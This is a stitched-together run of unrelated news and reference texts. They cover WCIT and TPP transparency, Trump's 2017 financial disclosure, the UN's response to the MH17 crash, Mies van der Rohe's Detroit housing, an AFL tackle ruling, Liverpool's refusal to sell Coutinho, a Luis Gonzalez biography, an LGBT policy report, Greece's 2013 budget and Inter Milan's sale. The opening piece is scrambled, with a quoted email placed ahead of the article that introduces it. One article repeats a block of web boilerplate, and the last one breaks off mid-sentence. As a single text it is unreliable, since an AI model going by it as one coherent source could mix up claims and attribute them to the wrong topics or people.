ITAC member. It is imperative that we ensure full consideration of a WCIT proposal’s impact on economic growth, the Internet’s openness, and the world at large and this is best done through the adoption of open and transparent processes that allow for wide consultation. Thus, we will continue to share these WCIT documents with stakeholder so that they can provide more informed views and help us develop positions that reflect the input of the diverse range of interests in the United States.  Starting this week, I will proactively communicate our positions on participation and document availability to underscore the US Government’s commitment to transparency.  We've been covering two big stories lately: the ongoing negotiations over the TPP agreement (Trans Pacific Partnership) as well the upcoming fight to change key internet governance issues via the UN's ITU (International Telecommunications Union) as part of WCIT (the World Conference on International Telecommunications). Of course, there's an interesting contrast about these two discussions. Both have been hit with accusations of government bureaucrats keeping things way, way too secret. The ITU has been notoriously secret , despite claims of opening up (which generally involve releasing redacted versions of documents which have already been widely leaked in un-redacted form much earlier). Then we have the USTR, claiming unprecedented transparency , even as the USTR seems to think that "transparency" means getting people to testify about a document they're not supposed to have seen.Of course, part of the USTR's claims about "transparency" are that it has a variety of ITACs (Industry Trade Advisory Committees) who have more or less full access to the negotiating positions of the US -- which the publicCongress do not . That those ITACs are limited to just a few industries -- often the legacy industries seeking greater protectionism, and not the up and coming innovators who are more important for economic growth. Basically, these ITACs are locked up providing a clearly protectionist attitude towards copyright.The TPP process has its own ITACs as well -- though, in that context, it means an "International Telecommunications Advisory Committee." More or less the same thing.Except there's one major difference. Whereas the ITACs having to do with TPP have been quite secretive, the flipside is happening with the ITACs related to the WCIT fight. And it'sdriving the transparency. There are lots of reasons to be concerned by the ITU WCIT process, but the US government is making it easy for the public to participate So, basically, anyone can join the ITAC concerning WCIT. That's quite different than with TPP, certainly. Oh, and then there's this bit of transparency, straight from the State Department. The following is an email from Terry Kramer, the US Ambassador and head of the US delegation dealing with WCIT:Okay, just to translate, if that's a bit dry: when it comes to WCIT, where the US finds itself on the defensive, suddenly it's a lover of openness and transparency. The State Department readily invites anyone to join an ITAC and promises to quickly reveal all relevant documents it receives. Furthermore, it knows that sharing the documents will lead to "more informed views."In other words, all of the things that the USTR refuses to do with TPP -- and which it claims are effectively impossible in an international agreement. Of course, the reality seems to suggest that when the US is in control (as with TPP), then it seeks to hoard and limit info, preferring secrecy to openness and transparency. Yet, when it's not, as with the ITU process, suddenly government officials are magically in love with openness and transparency. Incases, it's willing to let anyone join an ITAC and is willing to share whatever documents it can provide.All of this really highlights the dishonesty of the USTR in all of this. While, yes, the negotiation process between these two issues are somewhat different, there's no reason that the USTR can't take after the State Department in terms of transparency concerning an international negotiation. It just chooses not to do so, because then experts and the public might stand up and point out why the TPP is dangerous.  Filed Under: copyright, international agreements, internet governance, itu, tpp, transparency
-President Trump reported hundreds of millions of dollars in income Friday in financial disclosure forms that shed more light on his vast business holdings.  At his golf courses alone, Trump reported $288 million in income in the past year. That includes $19.8 million from his club in Bedminster, New Jersey, where he has spent some weekends as president.  The numbers were reported in a 98-page disclosure form signed by Trump this week and made public by the Office of Government Ethics. The report covers January 2016 through April 15, 2017.  Trump reported $37.2 million in income in the past year from Mar-a-Lago, the private Florida resort where Trump hosted the president of China and ordered missile strikes against Syria. The club has doubled its membership fee in the past year.  The Mar-a-Lago income figure was $7.4 million higher than on his previous financial disclosure filing, in May 2016.  Trump reported $19.7 million in income through mid-April at his luxury Washington hotel, which has been a center of concerns about conflict of interest because of the possibility that foreign governments can curry favor with the president by booking rooms there. The hotel opened in September.  The president reported up to $7 million in book royalties, including $1 million to $5 million from his book "Great Again: How to Fix Our Crippled America." He reported nearly $11 million from the Miss Universe pageant and an $84,000 pension from the Screen Actors Guild.  All told, Trump brought in approximately $600 million to $650 million in employment assets and income -- or maybe more. The documents make it impossible to calculate precise totals. Officeholders are allowed to disclose figures in ranges, some of which are open ended. For example, his golf course in Aberdeen, Scotland is listed as having a value of "over $50 million."  Related: Read the full disclosure report  Trump has said that he sold all his stock holdings in June 2016 to avoid conflicts of interest. He later said he did so because it was improper to own stocks "when I'm making deals for this country that maybe will affect one company positively and one company negatively."  The form released Friday appeared to confirm that he had sold those stock holdings. It did include income from capital gains and dividends, presumably before the stock sales.  The document makes reference to a sizable loan, between $5 million and $25 million, from UBS Real Estate Investments. The loan had an interest rate of 6.18%. Trump refinanced it with Ladder Capital at a much lower rate of 4.05%.  Overall, Trump reported liabilities of at least $311 million -- mortgages and loans. But the number could be much higher because he was required only to report a range in value for each loan.  Of the 16 loans he reported, five were worth more than $50 million each; one is worth between $25 million and $50 million; and seven were worth between $5 million and $25 million apiece. Another three loans combined were worth less than $1 million.  The form reflects the president's investments, other assets, income, retirement accounts and other holdings.  It is different from a federal tax return, which Trump has refused to make public and which would reveal much more about his business and financial dealings, including foreign business ties, both direct and indirect.  Federal law did not require Trump to file a new financial disclosure until next year, said Ken Gross, a Washington lawyer who has advised business executives and political appointees on finances and ethics.  "It's particularly important that he made the voluntary filing in view of the fact we don't have tax returns," Gross said.  The White House said in a statement that Trump "welcomed the opportunity" to file the form "voluntarily."  Norman Eisen, a Brookings Institution visiting fellow and former ethics lawyer for President Barack Obama, said the document is missing a great deal of valuable information.  "We still don't know the extent or sources of foreign emoluments, the identity of all his investors, partners and financial actors involved in his businesses, the purchasers, including possibly foreign ones of his condos and other properties," Eisen said.  Eisen is chairman of an organization involved in two lawsuits against Trump over foreign payments to his businesses, which the plaintiffs say violate a constitutional clause prohibiting the president from accepting foreign gifts, or emoluments.  Trump last released information about his finances in May 2016, as a candidate. It showed Trump was worth at least $1 billion.  Trump refused to sell his business holdings as president, as experts in government ethics urged him to do. Instead, he transferred them into a trust in his name. Any business profits will ultimately accrue to him when he leaves office.  -- CNNMoney's Matt Egan, Julia Horowitz, Jeanne Sahadi, Mike Tarson and Jackie Wattles, and CNN data journalists David Heath and Aaron Kessler, contributed to this report.
-UN Security Council coordinates resolution on Boeing crash in Ukraine  11:32 21/07/2014  UN, July 21 (RAPSI) – The UN Security Council completed work on a draft resolution regarding the crash of the Malaysian Boeing airliner in eastern Ukraine. The vote on the resolution has been set for 3 pm (11 pm MSK) today, diplomats told journalists.  Russian Ambassador Vitaly Churkin said that Russia had submitted a draft resolution demanding an objective international investigation of the accident. The other draft was proposed by Australia.  Churkin told journalists before the meeting that Russia insisted on including a provision on an unbiased international investigation of the crash under the auspices of the International Civil Aviation Organization (ICAO).  The Australian ambassador to the UN, who presented the initial draft, Gary Quinlan, declined to comment.  A Malaysia Airlines Boeing 777 flying from Amsterdam to Kuala Lumpur crashed near the city of Donetsk on July 17. All 298 people on board, including 85 children and 15 crew members, were killed.  Kiev immediately put the blame on the independence supporters, who responded by saying that they don’t have the military technology to hit a target flying this high.
-MIES IS MORE (amended)  (above) Lafayette Park row-housing, Detroit, designed by Mies van der Rohe.  Is this what Mies van der Rohe meant by his remark, “Less is more”?  A minimal architecture enables a maximum variety of living within.  The spare and relatively neutral frame that such an architecture places around space not only allows without conflict all manner of furniture, bric-a-brac, appliances, artworks, as well as human activities to exist within it, but actively invites them in order to relieve its own plainness and sameness. Heavily ornamented or aggressively shaped walls, floors and ceilings defining spaces demand not only attention but also respect for what they express in themselves. If they are not respected, by juxtaposing against them aggressively different things, then the result will be aesthetically uneasy and perhaps unpleasant, depending on one’s tolerance of or taste for conflict.  The neutrality of modern architecture such as that of Mies, Rietveld, Le Corbusier, and later works by Gropius, Breuer, and Bunshaft was argued as its great virtue because it did not (or so the argument goes) impose aesthetic values on an open, free, democratic society. Many modernist architects were, in fact, socialists, or flrted with democratic-socialist ideals, who placed on the exterior, public space of architecture an emphasis on the broader social good over individual self-expression and other forms of self-interest. This was a position challenged by post-modernist architects who proposed designs more in keeping with capitalist, free-market ideals of ‘anything goes,’ juxtaposing—collaging—widely and sometimes wildly disparate things. In this way, the aesthetic sensibilities of our time evolved.  But in the days when Mies designed the row-housing for Detroit’s Lafayette Park middle-class housing development, architectural neutrality still seemed to hold the promise of great social freedom. Seeing this series of recent interior photographs in identical units in this development, is convincing testimony that at least here the promise was kept.  LW  The photos below were made by photographer Corine Vermeulen (corinevermeulen.com):  The photos above appear in a recent New York Times article, authored by Danielle Aubert, Lana Cavar, Natasha Chandani (placementpublication.org):  http://opinionator.blogs.nytimes.com/2010/10/14/living-with-mies/
-Nakia Cockatoo tackles Dean Gore from behind during the Crows-Cats clash  THE MATCH Review Panel's firm stance on concussion will be put to the test on Monday afternoon, with Geelong's Nakia Cockatoo at risk of a three-match ban for a dangerous tackle.  Cockatoo came from behind and latched on to Adelaide midfielder Dean Gore as the Crow was jumping to receive a handball on Sunday, then drove him into the ground.  Gore's head made significant impact with the ground, leaving him with concussion and in doubt for Adelaide's final JLT Community Series match against the Brisbane Lions on March 11.  There is a case to clear Cockatoo, who has an existing bad record, but he could equally be slapped with a significant ban in one of the more difficult dangerous tackle cases for the MRP to assess.  While there weren't the 'two actions' or 'lift' the MRP typically looks for in a dangerous tackle, there are other triggers for a player to be found guilty of this offence.  The MRP can also charge a player for a dangerous tackle if:  The tackle is of an inherently dangerous kind, such as a spear tackle.  The player is in a vulnerable position (ie arms pinned) with little opportunity to protect himself.  A player is slung, driven or rotated into the ground with excessive force.  The MRP might find that the circumstances in this case were outside Cockatoo's control and he was preparing to make a textbook tackle when Gore unexpectedly left the ground.  But a case could equally be made placing Cockatoo's tackle in one of the above categories.  It was made when Gore was in "a vulnerable position", having just leapt off the ground, and Gore was arguably "driven" into the ground with "excessive" force.  The Panel would then be left to grade the charge, with medium impact sidelining Cockatoo for one match and high impact resulting in a two-match sanction.  The standard impact grading for offences that leave opponents with concussion is high impact, leaving Cockatoo with a base sanction of three matches reduced to two with an early guilty plea.  That would then be increased to three matches because of the 20-year-old's bad record, left over from a two-match sanction in the pre-season last year.  For Cockatoo there are only two outcomes. Either be cleared, or miss matches against Fremantle, North Melbourne and Melbourne to open the season. The latter is more likely.  Sydney star Lance Franklin has an obvious defence for his high bump on Greater Western Sydney draftee Tim Taranto.  The star forward was propelled into Taranto by a bump from trailing opponent Shane Mumford, an act that would convince the MRP that he had no control of the circumstances.  There's no knowing what Franklin would have done without Mumford in the picture, but the bump from behind clears him of all responsibility.  Port Adelaide ruckman Paddy Ryder has no such defence, and he faces a nervous wait for Monday afternoon's findings after landing what looked to be a high bump on Richmond midfielder Anthony Miles.  WATCH: Will MRP look at Paddy whack?  Miles was tucked hard against the boundary line on Sunday and kicking when Ryder chose to bump.  In this case there was no more than low impact, but Ryder could still find himself charged and paying out a $1000 fine for rough conduct.
-Five years separates two stories involving the same characters; one prevalent in this country, another not so well known. They are tales that go some way towards explaining why Barcelona were so forceful in their attempt to sign Philippe Coutinho but ultimately, why their attempt will prove not to be quite forceful enough.  It was in July 2012 when Pep Segura, then the technical manager at Liverpool’s academy, ended his three-year association at the club after previously being told by Liverpool’s owner, John W. Henry, he had earned a promotion.  Before Brendan Rodgers became Liverpool’s manager, Henry and Segura held a three-hour meeting and it was concluded that Segura would become Liverpool’s new sporting director, filling the administrative space left behind by Damien Comolli’s sacking a few months earlier.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  Shape Created with Sketch. Liverpool vs Hoffenheim player ratings Show all 11 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Liverpool vs Hoffenheim player ratings 1/11 Simon Mignolet - 6 out of 10 Not his most commanding of displays in between the sticks. Could have done more for Hoffenheim's first goal and nearly conceded after a hairy moment under the high ball. 2/11 Trent Alexander-Arnold - 7 Another magical night for the youngster who thrilled with his confidence going forward down the flank. Possibly a bit eager in some of his challenges but a mature and rounded display nonetheless. 3/11 Dejan Lovren - 6 Beaten in the air for Hoffenheim's second. Could have been much tighter and disciplined in his defensive performance. Getty 4/11 Joel Matip - 6 Suffered from the same issues as his partner. Not totally in control but still got the job done. 5/11 Alberto Moreno - 6 Threatening on the front foot and assured on the back. Some of his deliveries were found wanting, though. 6/11 Georginio Wijnaldum - 6 Missed a number of clear-cut chances and got caught in possession here and there. Still, linked up with his teammates and kept the Liverpool midfield unit ticking over. Getty 7/11 Jordan Henderson - 7 Showed his captain's credentials to set up Firmino for Liverpool's fourth. Happy to do the dirty work as the men in front added the finishing touches. 8/11 Sadio Mane - 8 Explosive from the off. His pace and energy proved too much for the visitors, while his passing and vision was influential in a number of Liverpool's goals. 9/11 Emre Can - 8 A fine evening for him, too. Took his goals very well and was a constant presence in Hoffenheim's final third. 10/11 Mohamed Salah - 7 Lively all game long in his pressing and movement. Provided Liverpool with a constant source of deliveries and threatened from his position on the flank. Even snatched a goal too. 11/11 Roberto Firmino - 9 A fantastic performance from the Brazilian. Made all the right passes and his movement was exceptional. Assertive on the ball and was eventually rewarded with a well-taken goal in the second half. 1/11 Simon Mignolet - 6 out of 10 Not his most commanding of displays in between the sticks. Could have done more for Hoffenheim's first goal and nearly conceded after a hairy moment under the high ball. 2/11 Trent Alexander-Arnold - 7 Another magical night for the youngster who thrilled with his confidence going forward down the flank. Possibly a bit eager in some of his challenges but a mature and rounded display nonetheless. 3/11 Dejan Lovren - 6 Beaten in the air for Hoffenheim's second. Could have been much tighter and disciplined in his defensive performance. Getty 4/11 Joel Matip - 6 Suffered from the same issues as his partner. Not totally in control but still got the job done. 5/11 Alberto Moreno - 6 Threatening on the front foot and assured on the back. Some of his deliveries were found wanting, though. 6/11 Georginio Wijnaldum - 6 Missed a number of clear-cut chances and got caught in possession here and there. Still, linked up with his teammates and kept the Liverpool midfield unit ticking over. Getty 7/11 Jordan Henderson - 7 Showed his captain's credentials to set up Firmino for Liverpool's fourth. Happy to do the dirty work as the men in front added the finishing touches. 8/11 Sadio Mane - 8 Explosive from the off. His pace and energy proved too much for the visitors, while his passing and vision was influential in a number of Liverpool's goals. 9/11 Emre Can - 8 A fine evening for him, too. Took his goals very well and was a constant presence in Hoffenheim's final third. 10/11 Mohamed Salah - 7 Lively all game long in his pressing and movement. Provided Liverpool with a constant source of deliveries and threatened from his position on the flank. Even snatched a goal too. 11/11 Roberto Firmino - 9 A fantastic performance from the Brazilian. Made all the right passes and his movement was exceptional. Assertive on the ball and was eventually rewarded with a well-taken goal in the second half.  Rodgers, though, had other ideas, insisting his own appointment would not involve another tier of management above him. For Segura – a decent man, and someone respected inside Liverpool particularly for his contribution towards the development of Raheem Sterling – there was reasonable embarrassment when he arrived at Melwood for the start of pre-season training only to find out then there would be no place for him in the new set-up.  Despite his efforts to contact Henry about his proposed fresh responsibilities, the line of communication had gone stone cold since Rodgers’s arrival. Though he expected that plans had changed, Segura was upset and angry that he had found out this way and so, on that July morning, rather than driving to the academy in Kirkby as he had been told to by Rodgers, he resigned on the spot – though the announcement of his departure was made a month later.  Those who knew Segura best from his time at Liverpool describe him as a professional and so, his hurt was understandable considering he had been treated without the necessary level of respect. Sources in Catalonia, meanwhile, say Segura has a long memory. Now Barcelona’s general manager having returned to the club where he built his coaching reputation, and as the person overseeing player recruitment, it is told he has viewed the signing of Coutinho as a personal mission.  While Coutinho is seen as a long-term successor for the fading Andrés Iniesta, the whiplash of his own departure from Liverpool still stings and it is said he would like nothing better than to expose Fenway Sports Group’s collective stance over Coutinho’s future as total mush.  It was a small but significant detail when Fenway released a “definitive” statement earlier this month, outlining that Coutinho would not be sold, this was not a statement released by Liverpool FC but by its ownership group, a statement, indeed, that was not signed off by any person in particular as they often are when something important is announced  Hour-by-hour, day-to-day, week-to-week, Henry does not have much involvement in the decision-making processes at the club and instead, key issues are dealt with by Jürgen Klopp, Michael Edwards, Liverpool’s sporting director, and Mike Gordon, Fenway’s president.  Henry only intervenes when he really needs to and this was one of his calls. Before Coutinho had submitted his transfer request, Henry knew that his scan, taken on Tuesday August 8, for mysterious back strain had returned without obvious signs of injury. He knew as well that two days later a 3pm meeting involving Edwards and Coutinho’s representatives had not gone well at all. Any owner of a well-run football club should also be informed and be able to imagine what might follow when a star player signs a new five year-contract – as Coutinho did in January – but proceeds to only agree a short-term lease on his home, especially when it has already been reported that Barcelona are interested in him.  Those that have dealt with Henry regularly know how he is capable of brain lapses, instances where he has appeared completely engrossed on a subject one moment and unreachable the next. Particularly relating to Liverpool matters, perhaps living on the other side of an ocean while running a business empire where Anfield forms only a part of his thoughts contributes towards the way he approaches things. Perhaps, indeed, this is why Segura found himself isolated very quickly from what seemed a position of promise.  Henry’s distance from Merseyside has not helped in the past because he has not been around to cast judgements for himself. He has instead relied on the opinions of his appointments, which have been bad ones too often – meaning that he has only acted when it has been too late, contributing towards a generally negative impression of his and Fenway’s intentions.  Having decided that Coutinho would stay, he could not afford to back down particularly when the transfer market did not map out exactly the way Liverpool or its febrile supporter base would have wanted in terms of incomings. Fenway have been determined to change Liverpool’s reputation and by not relenting to Coutinho’s wishes, for the time being at least, it sends a message to their own players as well as rivals that this is not a selling club.  Any other outcome would have been received as deception and from then on, it is hard to see how any of the messages coming out of Liverpool would ever be trusted again.  Keep up to date with all the latest news with expert comment and analysis from our award-winning writers
-For other people named Luis Gonzalez, see Luis Gonzalez (disambiguation)  Luis Emilio Gonzalez (born September 3, 1967), nicknamed "Gonzo",[1] is an American former baseball outfielder who played 19 seasons in Major League Baseball (MLB) for seven teams. Gonzalez spent his best years with the Arizona Diamondbacks and was one of the most popular players in the organization's history. His game-winning hit in Game 7 of the 2001 World Series against New York Yankees closer Mariano Rivera clinched the Diamondbacks' first and only World Series championship to date. Gonzalez was a five-time All-Star and won a Silver Slugger Award in 2001. After retiring from baseball in 2008, Gonzalez joined the Diamondbacks' front office in 2009 as a special assistant to the president. The following year, the team retired his uniform number #20, making him the first player so honored by the Diamondbacks.  Early years [ edit ]  Gonzalez grew up in the West Tampa neighborhood of Tampa, Florida in a Cuban-American household. He graduated from Thomas Jefferson High School in 1985 along with childhood friend Tino Martinez.[2] After high school, he attended the University of South Alabama, where he earned Baseball America's All-Freshman Second Team honors. He was drafted by the Houston Astros in the fourth round of the 1988 amateur draft. Gonzalez played American Legion Baseball for Post 248. Other Post 248 alumni include Lou Piniella, Tony La Russa, Tino Martinez and Gary Sheffield.  Professional career [ edit ]  Houston Astros (1990–1995) [ edit ]  Gonzalez made his major league debut on September 4, 1990. He finished the rest of the 1990 season with 4 hits (2 doubles). The year of 1991 became the first full season of Gonzalez's career. During 1991, he batted .254 with 13 home runs and 69 RBI. In 1992, he batted .243 with 10 home runs and 55 RBI. In 1993, he batted .300 with 15 home runs, 72 RBI, and an NL leading 10 sacrifice flies. In 1994, he batted .273 with 8 homers and 67 RBI. His 1995 season began with a .258 batting average, 6 homers and 35 RBI.  Chicago Cubs (1995–1996) [ edit ]  Gonzalez along with Scott Servais were traded to the Chicago Cubs for Rick Wilkins. Gonzalez finished the 1995 season with the Cubs by batting .290 with 7 homers and 34 RBI. Overall in 1995, Gonzalez had a .276 average, 13 homers and 69 RBI combined while he played with the Astros and Cubs. In 1996, Gonzalez batted .271 with 15 homers and 79 RBI.  Second stint with the Houston Astros (1997) [ edit ]  Gonzalez signed a one-year deal to return to the Astros in 1997. During 1997, he batted .258 with 10 homers and 68 RBI.  Detroit Tigers (1998) [ edit ]  Gonzalez signed a one-year deal for the Tigers in 1998. In 1998, he batted .267 with 23 homers and 71 RBI.  Arizona Diamondbacks (1999–2006) [ edit ]  In 1999, Gonzalez was traded to the Diamondbacks for Karim García. Gonzalez began to become a star during his tenure with Arizona. He helped the Diamondbacks into title contention immediately, hitting a career-best .336 in 1999, leading the NL in hits with 206 and helping them win the National League's western division that season before the team fell to the New York Mets in a divisional playoff series. He was selected to his first All-Star Team in 1999. In 2000, the Diamondbacks came in third place in their division. He also blasted 31 home runs and cracked 192 hits.  In 2001, Gonzalez astonished many when he hit 57 home runs, his personal best for one season and almost twice as many as he hit in any other season. The total is the third most in National League history for a left-handed batter (behind Barry Bonds's record 73, which also came in 2001, and Ryan Howard, who hit 58 in 2006). Gonzalez was selected to his second All-Star Team and finished second in the National League in hits with 198. Gonzalez also won the Home Run Derby that year.  The Diamondbacks reached the World Series that year and faced off against the New York Yankees, who featured Gonzalez's childhood friend Tino Martinez starting at 1st base.[2] In the climactic moment, Gonzalez came to the plate in the bottom of the 9th inning of game 7, with the score even at 2-2, the bases loaded and 1 out. The Yankee pitcher was Mariano Rivera, one of the game's most feared closers with an especially good record in the postseason (Rivera had never blown a save chance in a World Series before, or since). Gonzalez swung at Rivera's 0-1 pitch and hit the game-winning bloop single into left field that sealed the first franchise World Series title for Arizona.  He was also selected to All-Star Teams in 2002 and 2003. During the 2002 season, Gonzalez received publicity as a piece of gum chewed by Gonzalez during a spring training game was sold for $10,000 on April 15, 2002.[3] The buyer was Curt Mueller, owner of Mueller Sports Medicine Inc., manufacturer of the gum, Quench.[4]  On May 22, 2004, Gonzalez got his 2,000th career hit in a game against the Florida Marlins, though his season ended early when he had Tommy John surgery in August.[5] In 2005, he was selected to his fifth All-Star Team. On April 18, 2006, he got his 500th career double, becoming the 20th player in Major League history to hit 500 doubles and 300 home runs. On May 13, 2006,[6] he passed Babe Ruth for 38th place all-time for the most doubles hit in league history.  On June 15, 2006, The Arizona Republic printed an interview by columnist E. J. Montini with Diamondback managing general partner Ken Kendrick. In the interview, Kendrick mentioned whispers of alleged steroid use by Gonzalez; in the interview Kendrick never directly accused Gonzalez of using performance-enhancing drugs.[7] The interview came 8 days after Diamondback relief pitcher Jason Grimsley was released by the team after the team learned that federal agents had searched his home looking for evidence that he was a distributor of human growth hormone and other performance-enhancing drugs. On June 16, 2006 an angry Gonzalez called a press conference to deny that he had ever used steroids.[8]  Los Angeles Dodgers (2007) [ edit ]  Luis Gonzalez as a Dodger.  On September 14, 2006, the Diamondbacks announced that they would not pick up the team option of $10 million to re-sign Gonzalez after the 2006 season.[9] On December 7, Gonzalez signed a one-year contract with the Los Angeles Dodgers for $7 million for the 2007 season.[10]  Gonzalez hit his first home run as a Dodger on Sunday, April 8, 2007 versus Barry Zito of the San Francisco Giants. He hit two home runs in that game. In his only season with the Dodgers, he was productive offensively, but struggled defensively. Many times throughout the season, he would be taken out late in the game due to his bad defense. Towards the end of the season, he was benched in favor of Matt Kemp, a top Dodger prospect at the time. He was upset about it and publicly said he was not interested in returning to the Dodgers before the season was even over. He hit .278 with 15 home runs and 68 RBI in 2007.  Florida Marlins (2008) [ edit ]  Gonzalez with the Marlins in 2008.  On February 7, 2008, he signed with the Florida Marlins. The deal was reportedly worth $2 million for 1 season.[11] Gonzalez played in 136 games for the Marlins in 2008, batting .261.  Retirement [ edit ]  Luis Gonzalez's number 20 was retired by the Arizona Diamondbacks in 2010.  Gonzalez announced his retirement on August 29, 2009 and joined the Diamondbacks front office as a special assistant to the president.[12] In 2010, the Diamondbacks further announced that Gonzalez would be the first Diamondbacks player to have his number, #20, retired on August 7.[13]  Other activities [ edit ]  With businessman and entrepreneur Anthony Conti, Gonzalez has founded IsTalking, LLC, a Phoenix-based company that develops new social networking Web sites exclusively for college students. The company launched a new social network with Arizona State University called ASUIsTalking.com.[14] He has also formed a partnership with the ASU Alumni Association to be the exclusive online social-network for its 250,000 members.  Gonzalez has served as a color commentator on ESPN Radio's broadcasts of National League Division Series games in recent years, and also worked on Fox Sports' television broadcast of the 2006 National League Championship Series.  Gonzalez formerly owned and operated a restaurant called Gonzo's, located in oldtown/downtown Gilbert, Arizona. It then changed name several times, and as of March 2007, it is called "The Grain Belt". The restaurant closed in 2009. In 2012, Postinos opened its 3rd Arizona location in its place. Gonzalez is a prominent member of the U.S.Republican Party. As a resident of Arizona, he wrote a letter of endorsement for Arizona's Junior Senator, Jon Kyl, who won his bid for re-election in 2006.[15] He also endorsed Arizona's other Senator, 2008 GOP Presidential Nominee John McCain, over former congressman J.D. Hayworth in 2010.[16] Gonzalez was also the Celebrity face for a cornfield maze in Queen Creek, Arizona for the Schnepf Farms' annual Celebrity Maze. Gonzalez is the first local celebrity featured. Oprah Winfrey, Larry King and Jay Leno were featured in the past.[17]  Gonzalez currently serves as a member of the board of the Baseball Assistance Team, a 501(c)(3) non-profit organization dedicated to helping former Major League, Minor League, and Negro League players through financial and medical hardships.  The Diamondbacks built a Little League ballfield in his honor at Tempe Beach Park in Tempe, Arizona.  Gonzalez was inducted into the Hispanic Heritage Baseball Museum Hall of Fame on July 9, 2011 at the MLB All-Star Fan Fest in Phoenix.  Personal life [ edit ]  Gonzalez and his family (which includes wife Christine and triplets Megan, Jacob and Alyssa) are residents of Scottsdale, Arizona.[citation needed] Jacob was selected by the San Francisco Giants in the 2017 MLB draft.[18]  See also [ edit ]
-Democratic presidential nominee Hillary Clinton, left, is pictured at a rally in Annandale, Va. on July 14, 2016. Republican presidential nominee Donald Trump, right, is pictured at a campaign event in New York, N.Y. on July 16, 2016. (Melina Mara/Washington Post — Chris Goodney/Bloomberg)  The nation’s largest LGBT rights organization is calling on the next president to lead a bold effort across the federal government to strengthen protections for lesbian, gay, bisexual and transgender Americans.  The Human Rights Campaign (HRC), a Washington-based advocacy group, is preparing to release a report after the election urging more than 70 specific policy changes that would ban LGBT discrimination in federal programs and show a government-wide commitment to diversity in gender identification and sexual orientation.  “Over the past 8 years, the Obama administration has worked to systematically dismantle this discriminatory infrastructure of federal inequality that has plagued the LGBTQ community since this country’s founding,” an 18-page executive summary obtained by The Post stated.  “However, in the wake of years of tremendous federal progress, the LGBTQ community finds itself at yet another crossroads. There is still so much left undone.”  [In Pennsylvania, Trump’s call for radical change is cheered and feared]  HRC, which endorsed Democratic presidential nominee Hillary Clinton on Jan. 19, outlined dozens of recommendations Clinton is likely to weigh if she becomes president. Clinton has made LGBT issues a pillar of her campaign and has said she would work to appoint Supreme Court justices who support the 2015 high court decision legalizing same-sex marriage.  The future of LGBT policy will be much less clear if Republican presidential nominee Donald Trump wins the White House on Tuesday. Trump has said publicly on numerous occasions since 2000 that he supports “traditional marriage.” In January, just before the Iowa caucuses, he criticized the Supreme Court’s decision and said he would “strongly consider” appointing judges to overrule it if he is elected president.  “I don’t like the way they ruled,” Trump said in an interview with Fox News. “I disagree with the Supreme Court from the standpoint that it should be a states’ rights issue and that’s the way it should have been ruled on … If I’m elected, I would be very strong in putting certain judges on the bench that I think maybe could change things.”  Among its proposals, HRC urges the next president to appoint the first openly LGBT cabinet secretary and to add more LGBT individuals to the ranks of judges, executive officials and ambassadors.  “It is essential that federal judiciary and executive offices reflect the diversity of the country,” the group stated.  [With bombshells, FBI wades into corrosive presidential race]  The policy recommendations were close to comprehensive, and ranged from ending the prohibition on military enlistment and deployment for people with HIV, to ensuring transgender veterans have access to gender transition procedures, to strengthening safeguards for LGBT refugees, to creating a federal definition of bullying under the Substance Abuse and Mental Health Services Administration.  HRC also urged the Federal Trade Commission under the next administration to prohibit the practice of “conversion therapy” as fraudulent and take action against individuals and organizations that offer it. Conversion therapy is the scientifically discredited practice of treating individuals with the goal of ending their attraction to people of the same sex, and is widely criticized by gay rights advocates.  In January, Clinton promised to end the practice of “conversion therapy” on minors if elected, support transgender people serving in the military and back legislation to include discrimination against LGBT people in the Civil Rights Act.
-Thousands gather in protest as parliament votes to pass new austerity measures in 2013 budget  Greek MPs passed a budget for 2013 on Sunday night that paves the way for the country to receive further financial aid. It was passed with a comfortable majority, unlike the narrow margin secured on last week's vote on an austerity package and labour reforms.  The legislation imposes deep spending cuts on the country's battered economy, as international lenders demand further austerity in return for assistance. Antonis Samaras's ruling coalition won the vote just four days after the multi-year, €13.5bn (£10.8bn) austerity package.  Thousands of people had gathered outside the Greek parliament in Syntagma Square, Athens, to urge MPs to vote down the budget. Leading the protest march were flag-waving trade unionists with the communist-aligned Pame party followed by private and public sector workers.  The protesters' chants included "Out, out, out with the IMF" and "Hands off workers' rights".  There was drama inside the chamber where opposition MP Stathis Panagoulis, of the leftwing Syriza party, warned that Greece faced "civil war", and that politicians risked being "lynched" and "murdered" as a result of the austerity measures.  The budget includes hefty cuts in pensions and public sector wages, agreed through torturous negotiation with Greece's "Troika" of lenders, the IMF, European commission and European Central Bank.  It also contains dire economic forecasts. Greece's national debt is predicted to hit nearly 190% of GDP next year – much higher than when its second bailout was agreed in March. It also warns that Greece's long recession will continue, with GDP shrinking by another 4.5% in 2013.  Economists say the projections show that Greece cannot meet its targets without the two-year extension that Samaras has been quietly urging fellow European leaders to support.  Last week's austerity package was eventually approved by 153 of the 300 MPs in the chamber. Democratic Left, the junior partner, abstained in protest at labour market reforms. Greece faces a nervous wait for its next tranche of bailout cash even if the budget is approved, with eurozone leaders unlikely to agree on a payment date when they meet on Monday.
-Inter Milan owner Massimo Moratti has signed a deal to sell a 70% stake in the Serie A club to a group led by Indonesian businessman Erick Thohir.  Thohir, part owner of Major League Soccer club DC United and basketball's Philadelphia 76ers, heads the three-person consortium.  "The new partners' enthusiasm and pragmatism are certainly a guarantee for the future," said Moratti.  Thohir added: "Today is a truly special day in my life."  Big spenders Inter Milan broke the transfer world record in 1999 when they paid £32m for Lazio striker Christian Vieri. The Vatican called the size of the fee "disgusting".  A club statement confirmed a binding agreement has been signed to make International Sports Capital (ISC), a company indirectly owned by Indonesian businessmen Thohir, Rosan Roeslani and Handy Soetedjo, the controlling shareholder of Inter.  Moratti, who will retain a seat on the board, became Inter president in 1995 and has overseen five Serie A titles, one Champions League and a Uefa Cup.  His father Angelo Moratti was in charge of the club in the 1960s when Inter won the European Cup twice in successive years.  Inter, a loss-making club with debts of about 300 million euros (£254m), are the only Italian team never to have been relegated throughout their 105-year-long history.  "I think Inter history is going to be enriched by a new season thanks to our new international partners who, I am sure, will contribute to a continued string of successes," said Moratti.  "My family and I will continue to live this marvellous story together with Erick, Rosan and Handy granting our unchanged devotion and fondness that bond us to the club and to the Inter supporters".  Thohir said: "I am honoured that Mr Moratti has entrusted me with the responsibility to lead Inter into the next chapter, and I am excited to have him continue in the future as my partner.  "I am an entrepreneur, but first of all I am a supporter and a sports lover. I 